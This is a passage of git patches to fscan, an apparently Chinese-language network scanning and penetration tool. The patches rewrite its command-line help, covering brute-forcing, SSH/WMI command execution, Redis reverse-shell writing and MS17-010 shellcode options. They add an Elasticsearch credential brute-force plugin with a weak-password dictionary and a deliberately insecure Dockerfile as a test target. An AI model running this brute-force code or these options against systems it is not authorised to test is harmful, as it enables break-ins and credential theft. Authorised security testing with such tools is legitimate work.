在默认用户字典基础上新增用户 -- `-pwda` : 在默认密码字典基础上新增密码 +## 认证配置 +* `-user` : 指定单个用户名 +* `-pwd` : 指定单个密码 +* `-userf` : 指定用户名字典文件 +* `-pwdf` : 指定密码字典文件 +* `-usera` : 在默认用户列表基础上添加用户 +* `-pwda` : 在默认密码列表基础上添加密码 +* `-domain` : 指定域名(用于SMB认证) +* `-sshkey` : 指定SSH私钥文件路径 +* `-hashf` : 指定Hash字典文件 -## Web相关 -- `-cookie` : 设置Cookie -- `-num` : Web POC发包速率,默认20 -- `-pocname` : 指定Web POC的模糊名称 -- `-pocpath` : 指定POC路径 +## 扫描控制 +* `-t` : 扫描线程数(默认600) +* `-time` : TCP连接超时时间(默认3秒) +* `-wt` : Web请求超时时间(默认5秒) +* `-br` : 密码爆破线程数(默认1) +* `-np` : 禁用存活探测 +* `-ping` : 使用ping代替ICMP进行存活探测 +* `-top` : 显示指定数量的存活主机(默认10) +* `-local` : 启用本地扫描模式 + +## Web扫描设置 +* `-cookie` : 设置请求Cookie +* `-num` : Web POC并发数(默认20) +* `-pocname` : 指定POC名称进行模糊匹配 +* `-pocpath` : 自定义POC文件路径 +* `-nopoc` : 禁用Web POC扫描 +* `-full` : 启用完整POC扫描 +* `-dns` : 启用dnslog验证 ## 代理设置 -- `-proxy` : 设置HTTP代理 -- `-socks5` : 设置SOCKS5代理 - -## 输出控制 -- `-o` : 设置结果保存路径,默认"result.txt" -- `-no` : 不保存扫描结果 -- `-nobr` : 跳过密码爆破 -- `-nopoc` : 跳过Web POC扫描 -- `-np` : 跳过存活探测 +* `-proxy` : HTTP代理,例如: `http://127.0.0.1:8080` +* `-socks5` : SOCKS5代理,例如: `127.0.0.1:1080` ## 特殊功能 -- `-c` : SSH命令执行 -- `-domain` : SMB爆破时设置域名 -- `-rf` : Redis写公钥模块的文件路径 -- `-rs` : Redis计划任务反弹shell的IP端口 -- `-sshkey` : 指定SSH私钥路径 -- `-sc` : MS17010利用模块shellcode功能 +* `-c` : 执行命令(支持SSH/WMI) +* `-rf` : Redis写入SSH公钥的文件路径 +* `-rs` : Redis反弹Shell的目标地址 +* `-sc` : MS17010漏洞利用的Shellcode选项 +* `-wmi` : 启用WMI功能 +* `-path` : 指定远程文件路径(用于FCG/SMB) -## 存活探测 -- `-ping` : 使用ping代替ICMP进行存活探测 +## 输出控制 +* `-o` : 结果输出文件路径(默认"result.txt") +* `-no` : 禁用结果保存 +* `-nobr` : 禁用密码爆破 +* `-silent` : 静默模式(无进度输出) +* `-nocolor` : 禁用彩色输出 +* `-json` : 使用JSON格式输出 +* `-debug` : 设置调试信息输出间隔(默认60秒) # 0x05 运行截图 From 2e3ccee2e0babdcf3b8356ddbe909ad9e5053e82 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 02:31:29 +0800 Subject: [PATCH 115/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96=E8=BE=93?= =?UTF-8?q?=E5=87=BA=E8=AF=B4=E6=98=8E?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Flag.go | 135 ++++++++++++++++++++++++++++++------------------ Common/Parse.go | 38 ++------------ main.go | 5 +- 3 files changed, 94 insertions(+), 84 deletions(-) diff --git a/Common/Flag.go b/Common/Flag.go index 34de495..c76685d 100644 --- a/Common/Flag.go +++ b/Common/Flag.go @@ -20,77 +20,112 @@ func Flag(Info *HostInfo) { Banner() // 目标配置 - flag.StringVar(&Info.Host, "h", "", "目标主机IP,例如: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12") - flag.StringVar(&ExcludeHosts, "eh", "", "排除的主机范围,例如: -eh 192.168.1.1/24") - flag.StringVar(&Ports, "p", MainPorts, "端口配置,例如: 22 | 1-65535 | 22,80,3306") - flag.StringVar(&AddPorts, "pa", "", "在默认端口基础上添加端口,-pa 3389") - flag.StringVar(&ExcludePorts, "pn", "", "排除的端口,例如: -pn 445") + flag.StringVar(&Info.Host, "h", "", "指定目标主机,支持以下格式:\n"+ + " - 单个IP: 192.168.11.11\n"+ + " - IP范围: 192.168.11.11-255\n"+ + " - 多个IP: 192.168.11.11,192.168.11.12") + flag.StringVar(&ExcludeHosts, "eh", "", "排除指定主机范围,支持CIDR格式,如: 192.168.1.1/24") + flag.StringVar(&Ports, "p", MainPorts, "指定扫描端口,支持以下格式:\n"+ + "端口格式:\n"+ + " - 单个端口: 22\n"+ + " - 端口范围: 1-65535\n"+ + " - 多个端口: 22,80,3306\n\n"+ + "预定义端口组(别名):\n"+ + " - main: 常用端口 (21,22,23,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017)\n"+ + " - service: 服务端口 (21,22,23,135,139,445,1433,1521,2222,3306,3389,5432,6379,9000,11211,27017)\n"+ + " - db: 数据库端口 (1433,1521,3306,5432,6379,11211,27017)\n"+ + " - web: Web服务端口 (包含常见的 80-90,443,800-1080,2000-8000,8080-9000,9090-10000 等Web端口)\n"+ + " - all: 全部端口 (1-65535)\n\n"+ + "示例:\n"+ + " -p main 扫描常用端口\n"+ + " -p web 扫描Web端口\n"+ + " -p 80,443 扫描指定端口\n"+ + " -p 1-1000 扫描1-1000端口范围\n"+ + "默认使用 main 端口组") + flag.StringVar(&AddPorts, "pa", "", "在默认端口基础上额外添加端口,如: -pa 3389") + flag.StringVar(&ExcludePorts, "pn", "", "排除指定端口,如: -pn 445") // 认证配置 - flag.StringVar(&AddUsers, "usera", "", "在默认用户列表基础上添加用户,-usera user") - flag.StringVar(&AddPasswords, "pwda", "", "在默认密码列表基础上添加密码,-pwda password") - flag.StringVar(&Username, "user", "", "用户名") - flag.StringVar(&Password, "pwd", "", "密码") - flag.StringVar(&Domain, "domain", "", "域名(用于SMB)") - flag.StringVar(&SshKeyPath, "sshkey", "", "SSH密钥文件(id_rsa)") + flag.StringVar(&AddUsers, "usera", "", "在默认用户列表基础上添加自定义用户名") + flag.StringVar(&AddPasswords, "pwda", "", "在默认密码列表基础上添加自定义密码") + flag.StringVar(&Username, "user", "", "指定单个用户名") + flag.StringVar(&Password, "pwd", "", "指定单个密码") + flag.StringVar(&Domain, "domain", "", "指定域名(仅用于SMB协议)") + flag.StringVar(&SshKeyPath, "sshkey", "", "指定SSH私钥文件路径(默认为id_rsa)") // 扫描配置 - flag.StringVar(&ScanMode, "m", "All", "扫描类型,例如: -m ssh") - flag.IntVar(&ThreadNum, "t", 600, "线程数量") - flag.Int64Var(&Timeout, "time", 3, "超时时间(秒)") - flag.IntVar(&LiveTop, "top", 10, "显示存活主机数量") - flag.BoolVar(&DisablePing, "np", false, "禁用存活探测") - flag.BoolVar(&UsePing, "ping", false, "使用ping替代ICMP") - flag.StringVar(&Command, "c", "", "执行命令(支持ssh|wmiexec)") + flag.StringVar(&ScanMode, "m", "All", "指定扫描模式:\n"+ + "预设扫描模式(大写开头):\n"+ + " - All: 全量扫描,包含所有可用插件\n"+ + " - Basic: 基础扫描,包含 web/ftp/ssh/smb/findnet\n"+ + " - Database: 数据库扫描,包含 mysql/mssql/redis/mongodb/postgres/oracle/memcached\n"+ + " - Web: Web服务扫描,包含 web/fcgi\n"+ + " - Service: 常见服务扫描,包含 ftp/ssh/telnet/smb/rdp/vnc/netbios\n"+ + " - Vul: 漏洞扫描,包含 ms17010/smbghost/smb2\n"+ + " - Port: 端口扫描模式\n"+ + " - ICMP: ICMP存活探测\n"+ + " - Local: 本地信息收集\n\n"+ + "单个插件模式(小写):\n"+ + " Web类: web, fcgi\n"+ + " 数据库类: mysql, mssql, redis, mongodb, postgres, oracle, memcached\n"+ + " 服务类: ftp, ssh, telnet, smb, rdp, vnc, netbios\n"+ + " 漏洞类: ms17010, smbghost, smb2\n"+ + " 其他: findnet, wmiexec, localinfo") + flag.IntVar(&ThreadNum, "t", 600, "设置扫描线程数") + flag.Int64Var(&Timeout, "time", 3, "设置连接超时时间(单位:秒)") + flag.IntVar(&LiveTop, "top", 10, "仅显示指定数量的存活主机") + flag.BoolVar(&DisablePing, "np", false, "禁用主机存活探测") + flag.BoolVar(&UsePing, "ping", false, "使用系统ping命令替代ICMP探测") + flag.StringVar(&Command, "c", "", "指定要执行的系统命令(支持ssh和wmiexec)") // 本地扫描配置 - flag.BoolVar(&LocalScan, "local", false, "启用本地扫描") + flag.BoolVar(&LocalScan, "local", false, "启用本地网段扫描模式") // 文件配置 - flag.StringVar(&HostsFile, "hf", "", "主机列表文件") - flag.StringVar(&UsersFile, "userf", "", "用户名字典") - flag.StringVar(&PasswordsFile, "pwdf", "", "密码字典") - flag.StringVar(&HashFile, "hashf", "", "Hash字典") - flag.StringVar(&PortsFile, "portf", "", "端口列表文件") + flag.StringVar(&HostsFile, "hf", "", "从文件中读取目标主机列表") + flag.StringVar(&UsersFile, "userf", "", "从文件中读取用户名字典") + flag.StringVar(&PasswordsFile, "pwdf", "", "从文件中读取密码字典") + flag.StringVar(&HashFile, "hashf", "", "从文件中读取Hash字典") + flag.StringVar(&PortsFile, "portf", "", "从文件中读取端口列表") // Web配置 - flag.StringVar(&TargetURL, "u", "", "目标URL") - flag.StringVar(&URLsFile, "uf", "", "URL列表文件") - flag.StringVar(&Cookie, "cookie", "", "设置Cookie") - flag.Int64Var(&WebTimeout, "wt", 5, "Web请求超时时间") - flag.StringVar(&HttpProxy, "proxy", "", "设置HTTP代理") - flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(将用于TCP连接,超时设置将失效)") + flag.StringVar(&TargetURL, "u", "", "指定目标URL") + flag.StringVar(&URLsFile, "uf", "", "从文件中读取URL列表") + flag.StringVar(&Cookie, "cookie", "", "设置HTTP请求Cookie") + flag.Int64Var(&WebTimeout, "wt", 5, "设置Web请求超时时间(单位:秒)") + flag.StringVar(&HttpProxy, "proxy", "", "设置HTTP代理服务器") + flag.StringVar(&Socks5Proxy, "socks5", "", "设置Socks5代理(用于TCP连接,将影响超时设置)") // POC配置 - flag.StringVar(&PocPath, "pocpath", "", "POC文件路径") - flag.StringVar(&Pocinfo.PocName, "pocname", "", "使用包含指定名称的POC,例如: -pocname weblogic") - flag.BoolVar(&DisablePoc, "nopoc", false, "禁用Web漏洞扫描") - flag.BoolVar(&PocFull, "full", false, "完整POC扫描,如:shiro 100个key") - flag.BoolVar(&DnsLog, "dns", false, "启用dnslog验证") - flag.IntVar(&PocNum, "num", 20, "POC并发数") + flag.StringVar(&PocPath, "pocpath", "", "指定自定义POC文件路径") + flag.StringVar(&Pocinfo.PocName, "pocname", "", "指定要使用的POC名称,如: -pocname weblogic") + flag.BoolVar(&DisablePoc, "nopoc", false, "禁用Web漏洞POC扫描") + flag.BoolVar(&PocFull, "full", false, "启用完整POC扫描(如测试shiro全部100个key)") + flag.BoolVar(&DnsLog, "dns", false, "启用dnslog进行漏洞验证") + flag.IntVar(&PocNum, "num", 20, "设置POC扫描并发数") // Redis利用配置 - flag.StringVar(&RedisFile, "rf", "", "Redis写入SSH公钥文件") - flag.StringVar(&RedisShell, "rs", "", "Redis写入计划任务") + flag.StringVar(&RedisFile, "rf", "", "指定Redis写入的SSH公钥文件") + flag.StringVar(&RedisShell, "rs", "", "指定Redis写入的计划任务内容") flag.BoolVar(&DisableRedis, "noredis", false, "禁用Redis安全检测") // 暴力破解配置 - flag.BoolVar(&DisableBrute, "nobr", false, "禁用密码爆破") - flag.IntVar(&BruteThreads, "br", 1, "密码爆破线程数") + flag.BoolVar(&DisableBrute, "nobr", false, "禁用密码暴力破解") + flag.IntVar(&BruteThreads, "br", 1, "设置密码破解线程数") // 其他配置 - flag.StringVar(&RemotePath, "path", "", "FCG/SMB远程文件路径") - flag.StringVar(&HashValue, "hash", "", "Hash值") - flag.StringVar(&Shellcode, "sc", "", "MS17漏洞shellcode") - flag.BoolVar(&EnableWmi, "wmi", false, "启用WMI") + flag.StringVar(&RemotePath, "path", "", "指定FCG/SMB远程文件路径") + flag.StringVar(&HashValue, "hash", "", "指定要破解的Hash值") + flag.StringVar(&Shellcode, "sc", "", "指定MS17漏洞利用的shellcode") + flag.BoolVar(&EnableWmi, "wmi", false, "启用WMI协议扫描") // 输出配置 - flag.StringVar(&Outputfile, "o", "result.txt", "结果输出文件") - flag.BoolVar(&DisableSave, "no", false, "禁用结果保存") - flag.BoolVar(&Silent, "silent", false, "静默扫描模式") - flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出") - flag.BoolVar(&JsonOutput, "json", false, "JSON格式输出") - flag.Int64Var(&WaitTime, "debug", 60, "错误日志输出间隔") + flag.StringVar(&Outputfile, "o", "result.txt", "指定结果输出文件名") + flag.BoolVar(&DisableSave, "no", false, "禁止保存扫描结果") + flag.BoolVar(&Silent, "silent", false, "启用静默扫描模式(减少屏幕输出)") + flag.BoolVar(&Nocolor, "nocolor", false, "禁用彩色输出显示") + flag.BoolVar(&JsonOutput, "json", false, "以JSON格式输出结果") + flag.Int64Var(&WaitTime, "debug", 60, "设置错误日志输出时间间隔(单位:秒)") flag.Parse() } diff --git a/Common/Parse.go b/Common/Parse.go index 651ce46..a6a1f6f 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -10,10 +10,13 @@ import ( "strings" ) -func Parse(Info *HostInfo) { +func Parse(Info *HostInfo) error { ParseUser() ParsePass(Info) - ParseInput(Info) + if err := ParseInput(Info); err != nil { + return err + } + return nil } // ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取 @@ -321,34 +324,3 @@ func ParseInput(Info *HostInfo) error { return nil } - -//// showmode 显示所有支持的扫描类型 -//func showmode() { -// fmt.Println("[!] 指定的扫描类型不存在") -// fmt.Println("[*] 支持的扫描类型:") -// -// // 显示常规服务扫描类型 -// fmt.Println("\n[+] 常规服务扫描:") -// for name, plugin := range PluginManager { -// if plugin.Port > 0 && plugin.Port < 1000000 { -// fmt.Printf(" - %-10s (端口: %d)\n", name, plugin.Port) -// } -// } -// -// // 显示特殊漏洞扫描类型 -// fmt.Println("\n[+] 特殊漏洞扫描:") -// for name, plugin := range PluginManager { -// if plugin.Port >= 1000000 || plugin.Port == 0 { -// fmt.Printf(" - %-10s\n", name) -// } -// } -// -// // 显示其他扫描类型 -// fmt.Println("\n[+] 其他扫描类型:") -// specialTypes := []string{"all", "portscan", "icmp", "main", "webonly", "webpoc"} -// for _, name := range specialTypes { -// fmt.Printf(" - %s\n", name) -// } -// -// os.Exit(0) -//} diff --git a/main.go b/main.go index f2c5bce..b006f07 100644 --- a/main.go +++ b/main.go @@ -4,6 +4,7 @@ import ( "fmt" "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Core" + "os" "time" ) @@ -11,7 +12,9 @@ func main() { start := time.Now() var Info Common.HostInfo Common.Flag(&Info) - Common.Parse(&Info) + if err := Common.Parse(&Info); err != nil { + os.Exit(1) // 或者其他错误处理 + } Core.Scan(Info) fmt.Printf("[*] 扫描结束,耗时: %s\n", time.Since(start)) } From 8be8f94d829233e02537310a63593d76d088c561 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 02:31:56 +0800 Subject: [PATCH 116/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0=E5=8D=95?= =?UTF-8?q?=E7=8B=AC=E7=9A=84Elasticsearch=E6=89=AB=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 3 +- Common/ParseScanMode.go | 4 +- Common/Ports.go | 4 +- Core/Registry.go | 6 ++ Plugins/Elasticsearch.go | 104 ++++++++++++++++++++++++++++ TestDocker/Elasticsearch/Dockerfile | 19 +++++ TestDocker/Elasticsearch/README.txt | 2 + 7 files changed, 137 insertions(+), 5 deletions(-) create mode 100644 Plugins/Elasticsearch.go create mode 100644 TestDocker/Elasticsearch/Dockerfile create mode 100644 TestDocker/Elasticsearch/README.txt diff --git a/Common/Config.go b/Common/Config.go index 9da44e0..d8c160b 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -12,9 +12,10 @@ var Userdict = map[string][]string{ "mongodb": {"root", "admin"}, "oracle": {"sys", "system", "admin", "test", "web", "orcl"}, "telnet": {"root", "admin", "test"}, + "elastic": {"elastic", "admin", "kibana"}, } -var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} +var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} var Outputfile = "result.txt" var IsSave = true diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 4068d33..6247a6d 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -20,7 +20,7 @@ var pluginGroups = map[string][]string{ ModeAll: { "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 - "oracle", "memcached", // 数据库类 + "oracle", "memcached", "elasticsearch", // 数据库类 "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", "wmiexec", // 其他 @@ -30,7 +30,7 @@ var pluginGroups = map[string][]string{ }, ModeDatabase: { "mysql", "mssql", "redis", "mongodb", - "postgres", "oracle", "memcached", + "postgres", "oracle", "memcached", "elasticsearch", }, ModeWeb: { "web", "fcgi", diff --git a/Common/Ports.go b/Common/Ports.go index 2d8f2a6..41d0b2f 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -5,8 +5,8 @@ import ( "strings" ) -var ServicePorts = "21,22,23,135,139,445,1433,1521,2222,3306,3389,5432,6379,9000,11211,27017" -var DbPorts = "1433,1521,3306,5432,6379,11211,27017" +var ServicePorts = "21,22,23,135,139,445,1433,1521,2222,3306,3389,5432,6379,9000,9200,11211,27017" +var DbPorts = "1433,1521,3306,5432,6379,9200,11211,27017" var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" var AllPorts = "1-65535" var MainPorts = "21,22,23,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017" diff --git a/Core/Registry.go b/Core/Registry.go index 51e6fb1..51537c1 100644 --- a/Core/Registry.go +++ b/Core/Registry.go @@ -61,6 +61,12 @@ func init() { ScanFunc: Plugins.MysqlScan, }) + Common.RegisterPlugin("elasticsearch", Common.ScanPlugin{ + Name: "Elasticsearch", + Ports: []int{9200, 9300}, // Elasticsearch 默认HTTP和Transport端口 + ScanFunc: Plugins.ElasticScan, + }) + Common.RegisterPlugin("rdp", Common.ScanPlugin{ Name: "RDP", Ports: []int{3389}, diff --git a/Plugins/Elasticsearch.go b/Plugins/Elasticsearch.go new file mode 100644 index 0000000..2536265 --- /dev/null +++ b/Plugins/Elasticsearch.go @@ -0,0 +1,104 @@ +package Plugins + +import ( + "crypto/tls" + "encoding/base64" + "fmt" + "github.com/shadow1ng/fscan/Common" + "net/http" + "strings" + "time" +) + +// ElasticScan 执行 Elasticsearch 服务扫描 +func ElasticScan(info *Common.HostInfo) (tmperr error) { + if Common.DisableBrute { + return + } + + starttime := time.Now().Unix() + + // 首先测试无认证访问 + flag, err := ElasticConn(info, "", "") + if flag && err == nil { + return err + } + + // 尝试用户名密码组合 + for _, user := range Common.Userdict["elastic"] { + for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 + pass = strings.Replace(pass, "{user}", user, -1) + + flag, err := ElasticConn(info, user, pass) + if flag && err == nil { + return err + } + + // 记录错误信息 + errlog := fmt.Sprintf("[-] Elasticsearch服务 %v:%v 尝试失败 用户名: %v 密码: %v 错误: %v", info.Host, info.Ports, user, pass, err) + Common.LogError(errlog) + tmperr = err + + if Common.CheckErrs(err) { + return err + } + + // 超时检查 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["elastic"])*len(Common.Passwords)) * Common.Timeout) { + return err + } + } + } + return tmperr +} + +// ElasticConn 尝试 Elasticsearch 连接 +func ElasticConn(info *Common.HostInfo, user string, pass string) (bool, error) { + host, port := info.Host, info.Ports + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造请求客户端 + client := &http.Client{ + Timeout: timeout, + Transport: &http.Transport{ + TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, + }, + } + + // 构造基础URL + baseURL := fmt.Sprintf("http://%s:%s", host, port) + + // 创建请求 + req, err := http.NewRequest("GET", baseURL+"/_cat/indices", nil) + if err != nil { + return false, err + } + + // 如果提供了认证信息,添加Basic认证头 + if user != "" || pass != "" { + auth := base64.StdEncoding.EncodeToString([]byte(user + ":" + pass)) + req.Header.Add("Authorization", "Basic "+auth) + } + + // 发送请求 + resp, err := client.Do(req) + if err != nil { + return false, err + } + defer resp.Body.Close() + + // 检查响应状态 + if resp.StatusCode == 200 { + result := fmt.Sprintf("[+] Elasticsearch服务 %v:%v ", host, port) + if user != "" { + result += fmt.Sprintf("爆破成功 用户名: %v 密码: %v", user, pass) + } else { + result += "无需认证即可访问" + } + Common.LogSuccess(result) + return true, nil + } + + return false, fmt.Errorf("认证失败") +} diff --git a/TestDocker/Elasticsearch/Dockerfile b/TestDocker/Elasticsearch/Dockerfile new file mode 100644 index 0000000..eb1514f --- /dev/null +++ b/TestDocker/Elasticsearch/Dockerfile @@ -0,0 +1,19 @@ +FROM docker.elastic.co/elasticsearch/elasticsearch:7.9.3 + +# 设置环境变量允许单节点运行 +ENV discovery.type=single-node + +# 允许任意IP访问 +ENV network.host=0.0.0.0 + +# 设置弱密码 +ENV ELASTIC_PASSWORD=elastic123 + +# 暴露端口 +EXPOSE 9200 9300 + +# 设置默认用户名elastic和密码elastic123 +RUN echo 'elastic:elastic123' > /usr/share/elasticsearch/config/users + +# 关闭xpack安全功能,使其可以无认证访问 +RUN echo 'xpack.security.enabled: false' >> /usr/share/elasticsearch/config/elasticsearch.yml \ No newline at end of file diff --git a/TestDocker/Elasticsearch/README.txt b/TestDocker/Elasticsearch/README.txt new file mode 100644 index 0000000..cd65b5b --- /dev/null +++ b/TestDocker/Elasticsearch/README.txt @@ -0,0 +1,2 @@ +docker build -t elastic-test . +docker run -d -p 9200:9200 -p 9300:9300 elastic-test \ No newline at end of file From e70a1a7bd2f22493d90a5434d068a11e6127515a Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Sun, 22 Dec 2024 02:48:59 +0800 Subject: [PATCH 117/188] =?UTF-8?q?feat:=20=E5=A2=9E=E5=8A=A0RabbitMQ?= =?UTF-8?q?=E6=89=AB=E6=8F=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 1 + Common/ParseScanMode.go | 4 +- Common/Ports.go | 8 ++-- Core/Registry.go | 6 +++ Plugins/RabbitMQ.go | 82 +++++++++++++++++++++++++++++++++++++++++ 5 files changed, 95 insertions(+), 6 deletions(-) create mode 100644 Plugins/RabbitMQ.go diff --git a/Common/Config.go b/Common/Config.go index d8c160b..ad30d91 100644 --- a/Common/Config.go +++ b/Common/Config.go @@ -13,6 +13,7 @@ var Userdict = map[string][]string{ "oracle": {"sys", "system", "admin", "test", "web", "orcl"}, "telnet": {"root", "admin", "test"}, "elastic": {"elastic", "admin", "kibana"}, + "rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"}, } var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"} diff --git a/Common/ParseScanMode.go b/Common/ParseScanMode.go index 6247a6d..4493e6d 100644 --- a/Common/ParseScanMode.go +++ b/Common/ParseScanMode.go @@ -20,7 +20,7 @@ var pluginGroups = map[string][]string{ ModeAll: { "web", "fcgi", // web类 "mysql", "mssql", "redis", "mongodb", "postgres", // 数据库类 - "oracle", "memcached", "elasticsearch", // 数据库类 + "oracle", "memcached", "elasticsearch", "rabbitmq", // 数据库类 "ftp", "ssh", "telnet", "smb", "rdp", "vnc", "netbios", // 服务类 "ms17010", "smbghost", "smb2", // 漏洞类 "findnet", "wmiexec", // 其他 @@ -30,7 +30,7 @@ var pluginGroups = map[string][]string{ }, ModeDatabase: { "mysql", "mssql", "redis", "mongodb", - "postgres", "oracle", "memcached", "elasticsearch", + "postgres", "oracle", "memcached", "elasticsearch", "rabbitmq", }, ModeWeb: { "web", "fcgi", diff --git a/Common/Ports.go b/Common/Ports.go index 41d0b2f..12ed401 100644 --- a/Common/Ports.go +++ b/Common/Ports.go @@ -5,11 +5,11 @@ import ( "strings" ) -var ServicePorts = "21,22,23,135,139,445,1433,1521,2222,3306,3389,5432,6379,9000,9200,11211,27017" -var DbPorts = "1433,1521,3306,5432,6379,9200,11211,27017" -var WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880" +var ServicePorts = "21,22,23,135,139,445,1433,1521,2222,3306,3389,5432,5672,5671,6379,9000,9200,11211,15672,15671,27017" +var DbPorts = "1433,1521,3306,5432,5672,6379,9200,11211,27017" +var WebPorts = 